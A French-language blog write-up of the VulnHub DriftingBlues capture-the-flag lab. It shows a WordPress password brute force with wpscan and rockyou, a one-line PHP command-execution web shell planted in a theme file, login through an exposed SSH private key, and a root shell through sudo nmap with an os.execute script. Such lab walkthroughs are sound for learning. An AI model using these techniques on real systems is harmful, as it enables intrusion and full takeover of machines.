Accueil Solution du CTF DriftingBlues
Post
Annuler

Solution du CTF DriftingBlues

Intro

Après le précédent opus j’attaque donc ce second épisode des CTF DriftingBlues, toujours téléchargeable sur VulnHub

1
2
3
4
5
6
7
8
9
10
11
12
PORT   STATE SERVICE VERSION 
21/tcp open  ftp     ProFTPD 
| ftp-anon: Anonymous FTP login allowed (FTP code 230) 
|_-rwxr-xr-x   1 ftp      ftp       1403770 Dec 17  2020 secret.jpg 
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 
| ssh-hostkey:  
|   2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA) 
|   256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA) 
|_  256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519) 
80/tcp open  http    Apache httpd 2.4.38 ((Debian)) 
|_http-title: Site doesn't have a title (text/html). 
|_http-server-header: Apache/2.4.38 (Debian)

Il y a un serveur FTP qui autorise les connexions anonymes comme nous le montre Nmap. Toutefois avec Filezilla on voit qu’on ne peut pas remonter dans l’arborescence. On a donc que ce fichier secret.jpg que l’on peut récupérer.

Il s’agit d’une photo d’un guitariste et un coup d’éditeur hexa ou la récupération des métadonnées EXIF avec le premier logiciel de traitement photo trouvé ne sortent rien d’intéressant.

Une recherche d’image inversée nous apprend que le guitariste est Otis Rush. Potentiellement un indice.

Utiliser les outils de stéganographie est souvent une plaie. Le code est ancien et ne compile pas forcément sur des machines récentes. J’ai trouvé une image Docker qui contient les binaires utiles, c’est l’occasion d’essayer :

1
2
3
$ docker run -it --rm -v $(pwd):/data dominicbreuker/stego-toolkit /bin/bash
root@eb06c29f1622:/data# stegdetect secret.jpg  
secret.jpg : negative

Oups… Les autres outils présents n’ont pas été plus utiles. Passons à autre chose.

La force

Via énumération sur le serveur web on trouve très vite un Wordpress à l’adresse /blog. Les posts présents ont tous été créés par un utilisateur baptisé albert.

Vu que j’avais du temps AFK j’ai lancé wpscan pour bruteforcer le compte avec la wordlist rockyou :

1
2
3
4
$ docker run -v /tools/wordlists/:/data -it --rm wpscanteam/wpscan --url http://192.168.56.7/blog/ -U albert -P /data/rockyou.txt
--- snip ---
[!] Valid Combinations Found: 
 | Username: albert, Password: scotland1

Je suppose qu’il y avait un indice avec le guitariste mais même en regardant sa page wikipedia pas de rapport à L’Ecosse, peut être qu’un des posts en faisait mention :-/

Quoiqu’il en soit une fois connecté sur l’interface admin du Wordpress on va dans Appeareance puis Theme Editor pour éditer l’un des fichiers PHP du thème courant (footer.php pour moi) :

1
<?php if (isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>

Comme ça je peux passer des commandes sur le Wordpress et obtient l’output en bas de page.

Mercury

Un des premiers réflexes est de regarder le fichier /etc/passwd qui nous renseigne sur les utilisateurs présents :

1
freddie:x:1000:1000:freddie,,,:/home/freddie:/bin/bash

Cet utilisateur dispose du flag user.txt qui ne nous est pas lisible. En revanche sa clé privée SSH l’est !

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
www-data@driftingblues:/var/www/html/blog$ ssh -i /home/freddie/.ssh/id_rsa freddie@127.0.0.1 
Could not create directory '/var/www/.ssh'. 
load pubkey "/home/freddie/.ssh/id_rsa": Permission denied 
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. 
ECDSA key fingerprint is SHA256:/+Mlgo9EqzVybvI0rol0jnjKctAvhqRyag+YeY+IMrs. 
Are you sure you want to continue connecting (yes/no)? yes 
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts). 
Linux driftingblues 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 

The programs included with the Debian GNU/Linux system are free software; 
the exact distribution terms for each program are described in the 
individual files in /usr/share/doc/*/copyright. 

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent 
permitted by applicable law. 
freddie@driftingblues:~$ cat user.txt  
flag 1/2 
░░░░░░▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄ 
░░░░░█░░░░░░░░░░░░░░░░░░▀▀▄ 
░░░░█░░░░░░░░░░░░░░░░░░░░░░█ 
░░░█░░░░░░▄██▀▄▄░░░░░▄▄▄░░░░█ 
░▄▀░▄▄▄░░█▀▀▀▀▄▄█░░░██▄▄█░░░░█ 
█░░█░▄░▀▄▄▄▀░░░░░░░░█░░░░░░░░░█ 
█░░█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄░█ 
░█░▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█ 
░░█░░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█ 
░░░█░░░░██░░▀█▄▄▄█▄▄█▄▄██▄░░█ 
░░░░█░░░░▀▀▄░█░░░█░█▀█▀█▀██░█ 
░░░░░▀▄░░░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█ 
░░░░░░░▀▄▄░░░░░░░░░░░░░░░░░░░█ 
░░░░░█░░░░▀▀▄▄░░░░░░░░░░░░░░░█ 
░░░░▐▌░░░░░░█░▀▄▄▄▄▄░░░░░░░░█ 
░░███░░░░░▄▄█░▄▄░██▄▄▄▄▄▄▄▄▀ 
░▐████░░▄▀█▀█▄▄▄▄▄█▀▄▀▄ 
░░█░░▌░█░░░▀▄░█▀█░▄▀░░░█ 
░░█░░▌░█░░█░░█░░░█░░█░░█ 
░░█░░▀▀░░██░░█░░░█░░█░░█ 
░░░▀▀▄▄▀▀░█░░░▀▄▀▀▀▀█░░█ 

GTFO

1
2
3
4
5
6
freddie@driftingblues:~$ sudo -l 
Matching Defaults entries for freddie on driftingblues: 
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin 

User freddie may run the following commands on driftingblues: 
    (root) NOPASSWD: /usr/bin/nmap

Freddie peut utiliser Nmap en tant que root sans donner de mot de passe. Pratique mais faillible d’après GTFObins :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
freddie@driftingblues:~$ echo 'os.execute("/bin/sh")' > command.py
freddie@driftingblues:~$ sudo /usr/bin/nmap --script=command.py 
Starting Nmap 7.70 ( https://nmap.org ) at 2022-01-19 13:30 CST 
NSE: Warning: Loading 'command.py' -- the recommended file extension is '.nse'. 
# uid=0(root) gid=0(root) groups=0(root) 
# # root.txt 
# flag 2/2 
░░░░░░▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄ 
░░░░░█░░░░░░░░░░░░░░░░░░▀▀▄ 
░░░░█░░░░░░░░░░░░░░░░░░░░░░█ 
░░░█░░░░░░▄██▀▄▄░░░░░▄▄▄░░░░█ 
░▄▀░▄▄▄░░█▀▀▀▀▄▄█░░░██▄▄█░░░░█ 
█░░█░▄░▀▄▄▄▀░░░░░░░░█░░░░░░░░░█ 
█░░█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄░█ 
░█░▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█ 
░░█░░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█ 
░░░█░░░░██░░▀█▄▄▄█▄▄█▄▄██▄░░█ 
░░░░█░░░░▀▀▄░█░░░█░█▀█▀█▀██░█ 
░░░░░▀▄░░░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█ 
░░░░░░░▀▄▄░░░░░░░░░░░░░░░░░░░█ 
░░▐▌░█░░░░▀▀▄▄░░░░░░░░░░░░░░░█ 
░░░█▐▌░░░░░░█░▀▄▄▄▄▄░░░░░░░░█ 
░░███░░░░░▄▄█░▄▄░██▄▄▄▄▄▄▄▄▀ 
░▐████░░▄▀█▀█▄▄▄▄▄█▀▄▀▄ 
░░█░░▌░█░░░▀▄░█▀█░▄▀░░░█ 
░░█░░▌░█░░█░░█░░░█░░█░░█ 
░░█░░▀▀░░██░░█░░░█░░█░░█ 
░░░▀▀▄▄▀▀░█░░░▀▄▀▀▀▀█░░█ 

congratulations!

Cette exploitation cache l’input d’où l’absence des commandes dans l’affichage précédent.

Published January 19 2022 at 21:01

Cet article est sous licence CC BY 4.0 par l'auteur.